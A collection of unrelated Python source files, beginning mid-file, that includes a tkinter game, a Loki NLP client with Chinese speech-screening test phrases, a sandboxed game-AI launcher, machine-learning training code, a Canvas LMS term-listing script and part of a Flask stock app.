            self.canvas.move(self.westie,0,400-self.legpos[3])
        self.headpos=self.canvas.coords(self.head)
        if self.headpos[1]<=150:
            self.canvas.move(self.leg1,0,150-self.headpos[1])
            self.canvas.move(self.leg2,0,150-self.headpos[1])
            self.canvas.move(self.head,0,150-self.headpos[1])
            self.canvas.move(self.tail,0,150-self.headpos[1])
            self.canvas.move(self.westie,0,150-self.headpos[1])
            self.y=1
        self.westiepos=self.canvas.coords(self.westie)
        if self.westiepos[2]>=self.log.logspos[0]and self.legpos[3]>=self.log.logspos[1]and self.westiepos[0]<=self.log.logspos[0]:
            canvas.create_text(480,300,anchor=CENTER,text='Ouch. That hurt!',font=('Times',30),fill='red')
            canvas.create_text(480,400,anchor=CENTER,text='Score: %s pts'%(self.score),font=('Times',30),fill='red')
            tk.update()
            time.sleep(3)
            sys.exit('Score: %s pts'%(self.score))
        self.plane=self.canvas.coords(self.flyplane)
        self.canvas.move(self.flyplane,-5,0)
        if self.plane[2]<0:
            self.flyplane=canvas.create_rectangle(960,150,980,170,fill='red')
        if self.headpos[2]>=self.plane[0]and self.headpos[1]<=self.plane[3]and self.headpos[0]<=self.plane[2]or self.westiepos[2]>=self.plane[0]and self.westiepos[1]<=self.plane[3]and self.westiepos[0]<=self.plane[2]:
            canvas.create_text(480,300,anchor=CENTER,text='Ouch. That hurt!',font=('Times',30),fill='red')
            canvas.create_text(480,400,anchor=CENTER,text='Score: %s pts'%(self.score),font=('Times',30),fill='red')
            tk.update()
            time.sleep(3)
            sys.exit('Score: %s pts'%(self.score))

log=Log(canvas)
westie=Westie(canvas,log)
while 1:
    if westie.started==True:
        log.draw()
        westie.draw()
    time.sleep(0.003)
    tk.update_idletasks()
    tk.update()


#!/usr/bin/env python
# -*- coding: utf-8 -*-
#author:zhl

import tkinter

win=tkinter.Tk()
win.title("zhl")
win.geometry("400x400+200+0")

##属性：MULTIPLE  执行多选，可以依次点击，选中多个元素
lb=tkinter.Listbox(win,selectmode=tkinter.MULTIPLE)
lb.pack()

for item in ["good","nice","handsom","high","aaa","bbb"]:
    lb.insert(tkinter.END,item)

win.mainloop()


class Solution:

    # 2022/05/29
    # String + Bit Manipulation (alphabet) [O(WlogW + WL + W^2*26): 46% / O(WL): 27%]
    def maxProduct(self, words: List[str]) -> int:
        def shareLetters(idx1, idx2):
            for i in range(26):
                if wordsCharMap[idx1][i] == wordsCharMap[idx2][i] == True:
                    return True
            return False

        words.sort(key = lambda x: -len(x))

        wordsCharMap = []
        for w in words:
            charMap = [False] * 26
            for ch in w:
                charMap[ord(ch) - ord('a')] = True
            wordsCharMap.append(charMap)

        res = 0
        for i in range(len(words)):
            for j in range(i+1, len(words)):
                if not shareLetters(i, j):
                    cur = len(words[i]) * len(words[j])
                    if cur <= res:
                        break
                    else:
                        res = cur
        return res

algo/BitOperation/__0318__Maximum Product of Word Lengths.py


#!/usr/bin/env python3
# -*- coding:utf-8 -*-

"""
    Loki 4.0 Template For Python3

    [URL] https://api.droidtown.co/Loki/BulkAPI/

    Request:
        {
            "username": "your_username",
            "input_list": ["your_input_1", "your_input_2"],
            "loki_key": "your_loki_key",
            "filter_list": ["intent_filter_list"] # optional
        }

    Response:
        {
            "status": True,
            "msg": "Success!",
            "version": "v223",
            "word_count_balance": 2000,
            "result_list": [
                {
                    "status": True,
                    "msg": "Success!",
                    "results": [
                        {
                            "intent": "intentName",
                            "pattern": "matchPattern",
                            "utterance": "matchUtterance",
                            "argument": ["arg1", "arg2", ... "argN"]
                        },
                        ...
                    ]
                },
                {
                    "status": False,
                    "msg": "No matching Intent."
                }
            ]
        }
"""

from copy import deepcopy
from requests import post
from requests import codes
import json
import math
import os
import re
try:
    from intent import Loki_self_talking
    from intent import Loki_describe_story_or_things
    from intent import Loki_disfluent
    from intent import Loki_7_digits
    from intent import Loki_say_4_colors
    from intent import Loki_articulation
    from intent import Loki_can_not_follow_directions
    from intent import Loki_yes_no
except:
    from .intent import Loki_self_talking
    from .intent import Loki_describe_story_or_things
    from .intent import Loki_disfluent
    from .intent import Loki_7_digits
    from .intent import Loki_say_4_colors
    from .intent import Loki_articulation
    from .intent import Loki_can_not_follow_directions
    from .intent import Loki_yes_no

LOKI_URL = "https://api.droidtown.co/Loki/BulkAPI/"
try:
    accountInfo = json.load(open(os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(__file__))), "account.info"), encoding="utf-8"))
    USERNAME = accountInfo["username"]
    LOKI_KEY = accountInfo["loki_key_above5"]
except Exception as e:
    print("[ERROR] AccountInfo => {}".format(str(e)))
    USERNAME = ""
    LOKI_KEY = ""

# 意圖過濾器說明
# INTENT_FILTER = []        => 比對全部的意圖 (預設)
# INTENT_FILTER = [intentN] => 僅比對 INTENT_FILTER 內的意圖
INTENT_FILTER = []
INPUT_LIMIT = 20

class LokiResult():
    status = False
    message = ""
    version = ""
    balance = -1
    lokiResultLIST = []

    def __init__(self, inputLIST, filterLIST):
        self.status = False
        self.message = ""
        self.version = ""
        self.balance = -1
        self.lokiResultLIST = []
        # filterLIST 空的就採用預設的 INTENT_FILTER
        if filterLIST == []:
            filterLIST = INTENT_FILTER

        try:
            result = post(LOKI_URL, json={
                "username": USERNAME,
                "input_list": inputLIST,
                "loki_key": LOKI_KEY,
                "filter_list": filterLIST
            })

            if result.status_code == codes.ok:
                result = result.json()
                self.status = result["status"]
                self.message = result["msg"]
                if result["status"]:
                    self.version = result["version"]
                    if "word_count_balance" in result:
                        self.balance = result["word_count_balance"]
                    self.lokiResultLIST = result["result_list"]
            else:
                self.message = "{} Connection failed.".format(result.status_code)
        except Exception as e:
            self.message = str(e)

    def getStatus(self):
        return self.status

    def getMessage(self):
        return self.message

    def getVersion(self):
        return self.version

    def getBalance(self):
        return self.balance

    def getLokiStatus(self, index):
        rst = False
        if index < len(self.lokiResultLIST):
            rst = self.lokiResultLIST[index]["status"]
        return rst

    def getLokiMessage(self, index):
        rst = ""
        if index < len(self.lokiResultLIST):
            rst = self.lokiResultLIST[index]["msg"]
        return rst

    def getLokiLen(self, index):
        rst = 0
        if index < len(self.lokiResultLIST):
            if self.lokiResultLIST[index]["status"]:
                rst = len(self.lokiResultLIST[index]["results"])
        return rst

    def getLokiResult(self, index, resultIndex):
        lokiResultDICT = None
        if resultIndex < self.getLokiLen(index):
            lokiResultDICT = self.lokiResultLIST[index]["results"][resultIndex]
        return lokiResultDICT

    def getIntent(self, index, resultIndex):
        rst = ""
        lokiResultDICT = self.getLokiResult(index, resultIndex)
        if lokiResultDICT:
            rst = lokiResultDICT["intent"]
        return rst

    def getPattern(self, index, resultIndex):
        rst = ""
        lokiResultDICT = self.getLokiResult(index, resultIndex)
        if lokiResultDICT:
            rst = lokiResultDICT["pattern"]
        return rst

    def getUtterance(self, index, resultIndex):
        rst = ""
        lokiResultDICT = self.getLokiResult(index, resultIndex)
        if lokiResultDICT:
            rst = lokiResultDICT["utterance"]
        return rst

    def getArgs(self, index, resultIndex):
        rst = []
        lokiResultDICT = self.getLokiResult(index, resultIndex)
        if lokiResultDICT:
            rst = lokiResultDICT["argument"]
        return rst

def runLoki(inputLIST, filterLIST=[], refDICT={}):
    resultDICT = deepcopy(refDICT)
    lokiRst = LokiResult(inputLIST, filterLIST)
    if lokiRst.getStatus():
        for index, key in enumerate(inputLIST):
            lokiResultDICT = {}
            for resultIndex in range(0, lokiRst.getLokiLen(index)):
                # self_talking
                if lokiRst.getIntent(index, resultIndex) == "self_talking":
                    lokiResultDICT = Loki_self_talking.getResult(key, lokiRst.getUtterance(index, resultIndex), lokiRst.getArgs(index, resultIndex), lokiResultDICT, refDICT)

                # describe_story_or_things
                if lokiRst.getIntent(index, resultIndex) == "describe_story_or_things":
                    lokiResultDICT = Loki_describe_story_or_things.getResult(key, lokiRst.getUtterance(index, resultIndex), lokiRst.getArgs(index, resultIndex), lokiResultDICT, refDICT)

                # disfluent
                if lokiRst.getIntent(index, resultIndex) == "disfluent":
                    lokiResultDICT = Loki_disfluent.getResult(key, lokiRst.getUtterance(index, resultIndex), lokiRst.getArgs(index, resultIndex), lokiResultDICT, refDICT)

                # 7_digits
                if lokiRst.getIntent(index, resultIndex) == "7_digits":
                    lokiResultDICT = Loki_7_digits.getResult(key, lokiRst.getUtterance(index, resultIndex), lokiRst.getArgs(index, resultIndex), lokiResultDICT, refDICT)

                # say_4_colors
                if lokiRst.getIntent(index, resultIndex) == "say_4_colors":
                    lokiResultDICT = Loki_say_4_colors.getResult(key, lokiRst.getUtterance(index, resultIndex), lokiRst.getArgs(index, resultIndex), lokiResultDICT, refDICT)

                # articulation
                if lokiRst.getIntent(index, resultIndex) == "articulation":
                    lokiResultDICT = Loki_articulation.getResult(key, lokiRst.getUtterance(index, resultIndex), lokiRst.getArgs(index, resultIndex), lokiResultDICT, refDICT)

                # can_not_follow_directions
                if lokiRst.getIntent(index, resultIndex) == "can_not_follow_directions":
                    lokiResultDICT = Loki_can_not_follow_directions.getResult(key, lokiRst.getUtterance(index, resultIndex), lokiRst.getArgs(index, resultIndex), lokiResultDICT, refDICT)

                # yes_no
                if lokiRst.getIntent(index, resultIndex) == "yes_no":
                    lokiResultDICT = Loki_yes_no.getResult(key, lokiRst.getUtterance(index, resultIndex), lokiRst.getArgs(index, resultIndex), lokiResultDICT, refDICT)

            # save lokiResultDICT to resultDICT
            for k in lokiResultDICT:
                if k not in resultDICT:
                    resultDICT[k] = []
                if type(resultDICT[k]) != list:
                    resultDICT[k] = [resultDICT[k]] if resultDICT[k] else []
                if type(lokiResultDICT[k]) == list:
                    resultDICT[k].extend(lokiResultDICT[k])
                else:
                    resultDICT[k].append(lokiResultDICT[k])
    else:
        resultDICT["msg"] = lokiRst.getMessage()
    return resultDICT

def execLoki(content, filterLIST=[], splitLIST=[], refDICT={}):
    """
    input
        content       STR / STR[]    要執行 loki 分析的內容 (可以是字串或字串列表)
        filterLIST    STR[]          指定要比對的意圖 (空列表代表不指定)
        splitLIST     STR[]          指定要斷句的符號 (空列表代表不指定)
                                     * 如果一句 content 內包含同一意圖的多個 utterance，請使用 splitLIST 切割 content
        refDICT       DICT           參考內容

    output
        resultDICT    DICT           合併 runLoki() 的結果

    e.g.
        splitLIST = ["！", "，", "。", "？", "!", ",", "\n", "；", "\u3000", ";"]
        resultDICT = execLoki("今天天氣如何？後天氣象如何？")                      # output => ["今天天氣"]
        resultDICT = execLoki("今天天氣如何？後天氣象如何？", splitLIST=splitLIST) # output => ["今天天氣", "後天氣象"]
        resultDICT = execLoki(["今天天氣如何？", "後天氣象如何？"])                # output => ["今天天氣", "後天氣象"]
    """
    resultDICT = deepcopy(refDICT)
    if resultDICT is None:
        resultDICT = {}

    contentLIST = []
    if type(content) == str:
        contentLIST = [content]
    if type(content) == list:
        contentLIST = content

    if contentLIST:
        if splitLIST:
            # 依 splitLIST 做分句切割
            splitPAT = re.compile("[{}]".format("".join(splitLIST)))
            inputLIST = []
            for c in contentLIST:
                tmpLIST = splitPAT.split(c)
                inputLIST.extend(tmpLIST)
            # 去除空字串
            while "" in inputLIST:
                inputLIST.remove("")
        else:
            # 不做分句切割處理
            inputLIST = contentLIST

        # 依 INPUT_LIMIT 限制批次處理
        for i in range(0, math.ceil(len(inputLIST) / INPUT_LIMIT)):
            resultDICT = runLoki(inputLIST[i*INPUT_LIMIT:(i+1)*INPUT_LIMIT], filterLIST=filterLIST, refDICT=refDICT)
            if "msg" in resultDICT:
                break

    return resultDICT

def testLoki(inputLIST, filterLIST):
    INPUT_LIMIT = 20
    for i in range(0, math.ceil(len(inputLIST) / INPUT_LIMIT)):
        resultDICT = runLoki(inputLIST[i*INPUT_LIMIT:(i+1)*INPUT_LIMIT], filterLIST)

    if "msg" in resultDICT:
        print(resultDICT["msg"])

def testIntent():
    # self_talking
    print("[TEST] self_talking")
    inputLIST = ['對','不常','很少','不一定','不太會','好像有','很少見','沒聽過','火星語','算有哦','一直都是','很常這樣','會但不多','會一直重覆','一直都是這樣','說一些別人聽不懂的']
    testLoki(inputLIST, ['self_talking'])
    print("")

    # describe_story_or_things
    print("[TEST] describe_story_or_things")
    inputLIST = ['不常','不行','很少','不太行','沒聽過','沒辦法','看心情','講不完整','會但不愛講','會跳來跳去','要看說什麼','都說很短的','都講很短的','有說但聽不懂']
    testLoki(inputLIST, ['describe_story_or_things'])
    print("")

    # disfluent
    print("[TEST] disfluent")
    inputLIST = ['不常','很少見','沒聽過','看心情','好像沒有','斷斷續續的','緊張的時候會']
    testLoki(inputLIST, ['disfluent'])
    print("")

    # 7_digits
    print("[TEST] 7_digits")
    inputLIST = ['偶爾','唸錯','不太行','跳著唸','不到7個','好像可以','數字混淆','應該有超過']
    testLoki(inputLIST, ['7_digits'])
    print("")

    # say_4_colors
    print("[TEST] say_4_colors")
    inputLIST = ['不常','不行','很少','說錯','不太會','會但不到4個']
    testLoki(inputLIST, ['say_4_colors'])
    print("")

    # articulation
    print("[TEST] articulation")
    inputLIST = ['常常','不太會','很常這樣','大家都聽得懂','有幾個字會說不清楚']
    testLoki(inputLIST, ['articulation'])
    print("")

    # can_not_follow_directions
    print("[TEST] can_not_follow_directions")
    inputLIST = ['常常','很少','沒錯','不太會']
    testLoki(inputLIST, ['can_not_follow_directions'])
    print("")

    # yes_no
    print("[TEST] yes_no")
    inputLIST = ['否','對','有','不對','可以','對啊','沒有','不可以']
    testLoki(inputLIST, ['yes_no'])
    print("")

if __name__ == "__main__":
    # 測試所有意圖
    testIntent()

    # 測試其它句子
    filterLIST = []
    splitLIST = ["！", "，", "。", "？", "!", ",", "\n", "；", "\u3000", ";"]
    # 設定參考資料
    refDICT = {
        #"key": []
    }
    resultDICT = execLoki("今天天氣如何？後天氣象如何？", filterLIST=filterLIST, refDICT=refDICT)                      # output => {"key": ["今天天氣"]}
    resultDICT = execLoki("今天天氣如何？後天氣象如何？", filterLIST=filterLIST, splitLIST=splitLIST, refDICT=refDICT) # output => {"key": ["今天天氣", "後天氣象"]}
    resultDICT = execLoki(["今天天氣如何？", "後天氣象如何？"], filterLIST=filterLIST, refDICT=refDICT)                # output => {"key": ["今天天氣", "後天氣象"]}


'''
Created on Feb 14, 2018

@author: seth_
'''

from ..controlplane.objectdefinitions import ControlPlaneObjectAttribute, Tangible, Observer
from ..controlplane.objectdefinitions import ControlPlaneObject
from ..core.PickleLoader import PickleLoader, pickle
import subprocess, os, asyncio

HEALTH_CHECK_TIME = 30.0

def kill(pid):
    try:
        os.kill(pid, 2)
    except:
        pass

# TODO:
# Broken things. The launching thing is a hack. Unify. Simplify.
class BrainEnabled(ControlPlaneObjectAttribute):
    REQUIRED = [Tangible]

    RUNNING_PIDS = {}
    LOAD_REQUIRED = []

    @classmethod
    def ShutdownAll(cls):
        print("Shutdown all {}".format(cls.RUNNING_PIDS))
        brains = list(cls.RUNNING_PIDS.keys()) # make a copy. stop clears itself from list
        for brain in brains:
            brain.stop()
        cls.RUNNING_PIDS = {}

    def __init__(self, directory, brainIdentifier):
        super().__init__("brain_enabled")
        self._directory = directory
        self._brainIdentifier = brainIdentifier
        self._p = None
        self._pid = None
        self._stopped = False

        self.start()

    def __str__(self):
        return "Brain({}, {})".format(self._directory, self._brainIdentifier)

    def brainPath(self):
        return self._directory

    def brainIdentifier(self):
        return self._brainIdentifier

    def start(self, retryCount=0):
        if not Loader.PYPY_PATH:
            raise Exception("Cannot start brain. Pypy path not configured.")
        self._stopped = False
        # Turn on PNetworking
        print("start pnetworking")
        subprocess.call("pnetworking on", shell=True, cwd=self._directory)

        # NOTE ON HEAPSIZE. PyPy currently breaks if heapsize is too small. Even 10m was
        # too small. Based on some internal stuff in pypy, I decided to try 32m and that
        # seemed to work.
        args = ["python", "./brain_interact.py", "--heapsize=32m", "--tmp={}".format(self._directory),
                "--gameobj={}".format(self._brainIdentifier),
                "pypy3-c-sandbox", "-S", "brain.py"]
        #print("Starting",args)
        env = os.environ.copy()
        env["PYTHONPATH"] = Loader.PYPY_PATH
        #print("Seeting PYTHONPATH to ",env["PYTHONPATH"])
        logfile = open(os.path.join(self._directory, ".stdout_capture.log"),"wb+")
        self._p = subprocess.Popen(args, cwd=os.getcwd(), env=env, stderr=subprocess.STDOUT, stdout=logfile)
        self._pid = self._p.pid
        if self in BrainEnabled.RUNNING_PIDS:
            try:
                BrainEnabled.RUNNING_PIDS[self].close()
            except:
                pass
        BrainEnabled.RUNNING_PIDS[self] = logfile

        asyncio.get_event_loop().call_later(HEALTH_CHECK_TIME, self._checkHealth, retryCount+1)

    def stop(self):
        if self._stopped: return
        self._stopped = True
        #self.brainRunning() and self._p.terminate()
        # just in case that didn't work. Let's force an os kill
        kill(self._pid)
        try:
            BrainEnabled.RUNNING_PIDS[self].close()
        except:
            pass

        # shutdown pnetworking
        print("calling pnetworking off in {}".format(self._directory))
        subprocess.call("pnetworking off", shell=True, cwd=self._directory)

        if self in BrainEnabled.RUNNING_PIDS:
            del BrainEnabled.RUNNING_PIDS[self]
        self._pid = None

    def brainRunning(self):
        return self._p and (self._p.poll() is None)

    def _checkHealth(self, retryCount):
        if self._stopped: return
        if self.brainRunning():
            # still running.
            asyncio.get_event_loop().call_later(HEALTH_CHECK_TIME, self._checkHealth, 0)
        elif retryCount < 10:
            self.start(retryCount)
        else:
            pass # Log error?

class BrainControlledObjectLoader(PickleLoader):
    OBJECT_TYPE = "brain_controlled_object"

    @classmethod
    def TableName(cls):
        return "cyberwar_brain_loader"

    # THIS SHOULDNT GO HERE. But I don't know where to put it yet.
    # Loaders need to be more general.
    BRAINID_TO_OBJECT = {}

    CAN_LAUNCH_BRAINS = False

    # Don't know where this should go either. It is set by outside modules
    PYPY_PATH = None

    @classmethod
    def GetObjectByBrainID(cls, brainId):
        return cls.BRAINID_TO_OBJECT.get(brainId, None)

    def load(self, row):
        objId, objData = row
        object = pickle.loads(objData)
        brainAttr = object.getAttribute(BrainEnabled)

        self.BRAINID_TO_OBJECT[brainAttr.brainIdentifier()] = object

        if brainAttr._pid:
            kill(brainAttr._pid)
        if not self.CAN_LAUNCH_BRAINS:
            BrainEnabled.LOAD_REQUIRED.append((brainAttr))
        else:
            brainAttr.start()
        return object

    def unload(self, object):
        brainAttr = object.getAttribute(BrainEnabled)

        # remove pickle data that cannot be restored from brainenabled attribute
        p = brainAttr._p
        brainAttr._p = None

        dbData = super().unload(object)

        brainAttr._p = p
        return dbData

Loader = BrainControlledObjectLoader


from setuptools import setup, find_packages

with open('README.md') as f:
    readme = f.read()

with open('LICENSE') as f:
    license = f.read()

setup(
    name='Startup',
    version='0.1.0',
    description='A python library to allow scripts to be added to startup easily',
    long_description=readme,
    author='Sam Redmond',
    url='https://github.com/SillySam/startup',
    license=license,
    packages=find_packages(exclude=('tests', 'docs'))
)


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Tue Apr 10 21:27:51 2018

@author: codeplay2018
"""
import tensorflow as tf
from networks import net_factory, tf_utils

class cnn_model():
    def __init__(self,
                 netname,
                 input_size,
                 num_class,
                 batch_size=None,
                 use_speed=False,
                 speed_loss_factor=0,
                 learning_rate=1e-4,
                 **kwargs):
        self.x = tf.placeholder(tf.float32, [None, input_size])
        self.class_label = tf.placeholder(tf.float32, [None, num_class])
        self.speed_label = tf.placeholder(tf.float32, [None,1])
        self.is_training = tf.placeholder(tf.bool)
        self.network = net_factory.get_network(netname)
        self.end_points = self.network(self.x, input_size, self.is_training)
        self.batch_size = batch_size
        self.use_speed = use_speed
        self.speed_loss_factor = speed_loss_factor
        self.learning_rate=learning_rate
        self._define_loss()
        self._define_evaluate()
        self._define_optimize()

    def get_feed(self, batch, is_training):
        if batch:
            feed_dict = {self.x: batch[0], self.class_label: batch[1],
                     self.speed_label: batch[2], self.is_training:is_training}
        else: feed_dict = None
        return feed_dict

    def _define_loss(self):

        with tf.name_scope('fault-loss'):
            cross_entropy = tf.nn.softmax_cross_entropy_with_logits(labels=self.class_label,
                                                                logits=self.end_points['class_end'])
            self.cross_entropy_loss = tf.reduce_mean(cross_entropy)
            tf.summary.scalar('loss-cross_entropy', self.cross_entropy_loss)
            tf.losses.add_loss(self.cross_entropy_loss)
        if self.use_speed:
            with tf.name_scope('speed-loss'):
                speed_loss = tf_utils.abs_smooth(self.end_points['speed_end'] - self.speed_label)
                self.speed_loss = tf.div(tf.reduce_sum(self.speed_loss_factor*speed_loss),
                                    self.batch_size, name='value')
                tf.summary.scalar('loss-speed_loss', self.speed_loss)
                tf.losses.add_loss(self.speed_loss)

        with tf.name_scope('total_loss'):
            self.total_loss = tf.add_n(tf.get_collection(tf.GraphKeys.LOSSES))

    def _define_evaluate(self):
        with tf.name_scope('accuracy'):
            correct_prediction = tf.equal(tf.argmax(self.end_points['class_end'], 1),
                                          tf.argmax(self.class_label, 1))
            correct_prediction = tf.cast(correct_prediction, tf.float32)
        self.accuracy = tf.reduce_mean(correct_prediction)
        tf.summary.scalar('accuracy', self.accuracy)

    def _define_optimize(self):
        update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS)
        with tf.control_dependencies(update_ops):
            with tf.name_scope('adam_optimizer'):
                self.train_step = tf.train.AdamOptimizer(self.learning_rate).minimize(self.total_loss)


import time
import torch
import numpy as np
import os
import sys
sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '..')))
from utils import compute_performance, set_seed
from Earlystopping import EarlyStopping
from utils import plot_loss
def train(model, device, train_dataloader, val_dataloader, criterion, optimizer, scheduler, epochs, num_nodes, path, evaluation=True):
    """Train the BertClassifier model.
    """
    best_loss = float('inf')
    # set_seed(42)

    # Start training loop
    print("Start training...\n")
    print(f"{'Epoch':^7} | {'Batch':^7} | {'Train Loss':^12} | {'Val Loss':^10} |  {'Elapsed':^9}")
    print("-" * 70)
    loss_train_plt = []
    loss_val_plt = []

    patience = 0.1 * epochs
    early_stopping = EarlyStopping(path, patience = patience, verbose = True)

    for epoch_i in range(epochs):
        # =======================================
        #               Training
        # =======================================

        # Measure the elapsed time of each epoch
        t0_epoch = time.time()

        # Reset tracking variables at the beginning of each epoch
        epoch_loss = 0
        train_losses = []

        # Put the model into the training mode
        model.train()

        # For each batch of training data...
        for data in train_dataloader:
            # torch.cuda.empty_cache()
            # Load batch to GPU
            #train_flow_x = data["flow_x"][0]
            #print("train data:,", train_flow_x)
            data_y = data["flow_y"]
            # Zero out any previously calculated gradients
            model.zero_grad()

            # Perform a forward pass. This will return logits.
            predict = model(data, device).to(torch.device("cpu"))
            # p2, p3, p4, p5 = model(data, device)

            # Compute loss and accumulate the loss values
            loss = criterion(predict, data_y)
            epoch_loss = loss.item()
            train_losses.append(epoch_loss)

            #
            # if hasattr(torch.cuda, 'empty_cache'):
            #     torch.cuda.empty_cache()
            # Perform a backward pass to calculate gradients
            loss.backward()

            # Clip the norm of the gradients to 1.0 to prevent "exploding gradients"
            torch.nn.utils.clip_grad_norm_(model.parameters(), 1.0)

            # Update parameters and the learning rate
            optimizer.step()
            scheduler.step()

        # Calculate the average loss over the entire training data
        avg_train_loss = epoch_loss / len(train_dataloader)
        loss_train_plt.append(10 * epoch_loss / len(train_dataloader) / 64)
        #print(len(loss_train_plt))

        # =======================================
        #               Evaluation
        # =======================================
        if evaluation == True:
            # After the completion of each training epoch, measure the model's performance
            # on our validation set.
            val_loss = evaluate(model, device, criterion, val_dataloader, num_nodes)
            loss_val_plt.append(10 * val_loss / len(val_dataloader) / 64)
            if val_loss < best_loss:
                best_loss = val_loss

            # Print performance over the entire training data
            time_elapsed = time.time() - t0_epoch

        early_stopping(val_loss, model)
        if early_stopping.early_stop:
            print("Early stopping")
            break

        print(
            f"{epoch_i + 1:^7} | {'-':^7} | {loss_train_plt[-1]:^12.6f} | {val_loss:^10.6f} |  {time_elapsed:^9.2f}")

    # print(f"Training complete! Best loss: {best_loss:^12.6f}.")
    # print(loss_train_plt)
    # print(loss_val_plt)

    return loss_train_plt,loss_val_plt,best_loss

def evaluate(model, device, criterion, val_dataloader, num_nodes):
    """After the completion of each training epoch, measure the model's performance
    on our validation set.
    """
    # Put the model into the evaluation mode. The dropout layers are disabled during
    # the test time.
    model.eval()

    # Tracking variables
    val_loss = []
    total_loss = 0.0

    MAE, MAPE, RMSE, ACC, R2, Explained_VAR = [], [], [], [], [], []
    # PEMS04
    # Diff num of nodes
    Target = np.zeros([num_nodes, 1, 1])  # [N, T, D]
    # LOS
    Predict = np.zeros_like(Target)

    # For each batch in our validation set...
    for data in val_dataloader:
        # Compute prediction
        #print("valid data:," ,data["flow_x"][0])
        with torch.no_grad():
            predict_value = model(data, device).to(torch.device("cpu"))

        # Compute loss
        loss = criterion(predict_value, data["flow_y"])
        total_loss += loss.item()
        val_loss.append(loss.item())

        # concatenate each time slot
        predict_value = predict_value.transpose(0, 2).squeeze(0)  # [1, N, B(T), D] -> [N, B(T), D] -> [N, T, D]
        target_value = data["flow_y"].transpose(0, 2).squeeze(0)

        performance, data_save = compute_performance(predict_value, target_value, val_dataloader)

        Predict = np.concatenate([Predict, data_save[0]], axis=1)
        # print(len(Predict))
        Target = np.concatenate([Target, data_save[1]], axis=1)
        # (Target)

        MAE.append(performance[0])
        MAPE.append(performance[1])
        RMSE.append(performance[2])
        ACC.append(performance[3])
        R2.append(performance[4])
        Explained_VAR.append(performance[5])

        #print("Test loss: {:02.4f}".format(1000 * total_loss / len(val_dataloader)))

    valid_losses = np.mean(val_loss)
    val = int(valid_losses*1000000)/1000000
    # print(val)

    #valid_loss = np.average(val_loss)

    # print("Difference of valid loss: valid losses{:2.2f}, valid loss{:2.2f}, total loss{:2.2f}".format( total_loss, valid_losses, valid_loss))
    # print("Performance: MAE {:2.2f}, MAPE {:2.2f}, RMSE {:2.2f},  ACC{:2.2f}, R2 {:2.2f}, Explained_VAR {:2.2f}, Test_loss{:2.2f}".format(
    #     np.mean(MAE), np.mean(MAPE), np.mean(RMSE), np.mean(ACC), np.mean(R2), np.mean(Explained_VAR), valid_losses))

    return val


#!/usr/bin/env python
#################################################
#Author: Matt Lewis
#Department: Instructional Technology
#Institution: Eastern Washington University
##################################################
################## DESCRIPTION ###################
##################################################
#This code is used to print out a list of term names with their Canvas id.

##################################################
################## DIRECTIONS ####################
##################################################
# DIRECTIONS: Edit the below variables to match your institution domain
domain = "canvas.[name].edu"

##################################################
########## DO NOT EDIT BELOW THIS LINE ###########
##################################################
import requests
import simplejson as json
import urllib.request
#import urllib2
import argparse
import sys,os
import csv
import pprint
import os
import getpass
import configparser

from timeit import default_timer as timer

start = timer()
callCount=0
fileCount=0
fileCountAll=0
###########################################################################
def get_headers():
  return {'Authorization': 'Bearer %s' % token}

###########################################################################
def flattenjson( b, delim ):
    val = {}
    for i in b.keys():
      if isinstance( b[i], dict ):
        get = flattenjson( b[i], delim )
        for j in get.keys():
          val[ i + delim + j ] = get[j]
      else:
        val[i] = b[i]

    return val
###########################################################################
def confirm_token():
  url = "https://%s/api/v1/users/self/activity_stream/summary" % (domain)
  response = requests.get(url,headers=get_headers())
  if response.status_code == 200:
    confirm = True
  else:
    confirm = False
    print('The entered Canvas token did not authenticate.')

  return confirm

###########################################################################
def getRootID():
  url = "https://%s/api/v1/accounts?per_page=100" % (domain)
  print(url)
  response = requests.get(url,headers=get_headers())
  if not response.json():
    return "No Root"
  else:
    for s in response.json():
      if not s['root_account_id']:
        rootID = s['id']
      else:
        rootID = s['root_account_id']
  return rootID
###########################################################################
###########################################################################
def get_terms(accountID):
  termData=[]
  url = "https://%s/api/v1/accounts/%s/terms?per_page=100" % (domain, accountID)
  global callCount
  callCount += 1
  print(callCount, " url: ", url)
  response = requests.get(url,headers=get_headers())
  if not response.json():
    return "No Terms"
  else:
    json = response.json()
    #print(json['enrollment_terms'])
    for s in json['enrollment_terms']:
      termData.append({'term_id': s['id'], 'term_name': s['name']})

  return termData
###########################################################################

#collect Canvas token from a file titled .canvasConfig in same directory
#if not found, require manual entry of token
try:
  config = configparser.ConfigParser()
  config.read(".canvasConfig")
  token = config['configuration']['token']
except:
  print('The Canvas Config file could not be found, please enter your Canvas token.')
  token = getpass.getpass('Canvas Token:')

confirmToken = confirm_token()

if not token or confirmToken == False:
  token = getpass.getpass('Canvas Token is a required field:')
  confirmToken = confirm_token()

if not token or confirmToken == False:
    print('#########################################################################')
    print('The Canvas Token is a required field.')
    print('Exiting script.')
    print('#########################################################################')
    exit()
###########################################################################

root_account_id = getRootID()
termData = get_terms(root_account_id)
print('Term ID     NAME')
termList=[]
for t in termData:
  termList.append(t['term_id'])
  print(t['term_id'], ' - ', t['term_name'])


# for runs simply run that file
# I assumed 52 weeks as general year not as Leap year
from flask import *
import pandas as pd
import glob
import os
from datetime import timedelta

app = Flask(__name__)

stlist = os.listdir("static/archive")
for i in range(len(stlist)):
    stlist[i] = stlist[i].split('.')[0]

path = 'static/archive/'
all_files=glob.glob(path+"/*.csv")

all_files

max = None
min = None
error = None

def isValid(date):
    global error
    global max
    global min
    day,month,year = date.split('/')
    day=int(day)
    month=int(month)
    year=int(year)

    if month==1 or month==3 or month==5 or month==7 or month==8 or month==10 or month==12:
        max_days=31
    elif month==4 or month==6 or month==9 or month==11:
        max_days=30
    elif year%4==0 or year%100!=0 or year%400==0:
        max_days=29
    else:
        max_days=28

    if month<1 or month>12:
        max = None
        min = None
        error='pls Check Month, Date is Invalid!'
        return False
    elif day<1 or day>max_days:
        max = None
        min = None
        error='pls Check Day, Date is Invalid!'
        return False
    else:
        return True

def solve(x):
    global max
    global min
    global error
    StockName = x['StockName']
    StartDate = x['StartDate']
    EndDate = x['EndDate']

    if(len(StartDate)==0):
        max = None
        min = None
        error='pls Enter the StartDate!'
        return
    elif(isValid(StartDate)==False):
        return
    elif(len(EndDate)>0 and (isValid(EndDate)==False)):
        return

    bef_str = 'static/archive\\'
    aft_str = '.csv'

